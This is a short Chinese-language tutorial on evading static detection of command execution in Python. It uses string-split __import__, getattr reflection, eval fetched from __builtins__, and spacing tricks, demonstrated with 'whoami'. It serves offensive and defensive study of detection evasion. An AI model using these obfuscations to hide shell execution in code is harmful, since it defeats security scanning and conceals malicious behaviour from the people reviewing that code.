0x00 動態加載模塊
在python腳本中,直接使用import os、import subprocess或from os import system這種方法很容易被規則檢測,即使使用其它執行命令的函數,依然容易被檢測。所幸python中可以動態加載模塊,而python的內置魔數方法_import_,可以直接根據字符串導入模塊
>>> a = __import__('o'+'s')
>>> a
<module 'os' from 'C:\Python27\lib\os.pyc'>
>>> a.system('whoami')
desktop-9*****8\h*********
// 從os.system()變成了a.system()
通過這種方法,對os字符進行加密或編碼,可以進一步避免被檢測,且這里替換變量名,將"os"替換為"a"可以執行命令了,但system函數依然存在,還是有被檢測到的風險。
0x01 獲取模塊中的方法
hasattr(模塊, "成員"):在某個模塊中檢查是否含有某個成員
getattr(模塊, "成員"):在某個模塊中獲取成員
setattr(模塊, "成員", "value"):在某個某個模塊中設置成員
delattr(模塊, "成員"):刪除某個模塊中的成員
到這里,就可以用python完成類似於java的反射機制,可以使用getattr方法直接獲取某個模塊的方法或屬性,而使用setattr和delattr方法可以對模塊的成員進行修改和刪除。
>>> a = __import__("o"+"s")
>>> a
<module 'os' from 'C:\Python27\lib\os.pyc'>
>>> s = getattr(a,'sys'+'tem')
>>> s
<built-in function system>
>>> s('who'+'ami')
desktop-9*****8\h*********
類似於java的的反射機制,使用字符串導入模塊和方法,可以逃逸靜態檢測
0x02 eval函數的調用示例
python中一些內置函數和方法歸納在_builtins__模塊中,使用dir(__builtins_)即可查看,eval函數便在其中
>>> e = getattr(__builtins__, 'ev'+'al')
>>> e
<built-in function eval>
>>> e('__import__("os").system("whoami")')
desktop-9*****8\h*********
這種方法下,調用eval函數但不出現eval字眼,且對e函數內的字符串進行加密或編碼后,可以逃逸靜態檢測
0x03 tips
python中函數名和括號間可以添加一個或多個空格,這種情況下也許可以逃逸一些檢測方法
>>> e ('__import__("os").system ("whoami")')
desktop-9*****8\h*********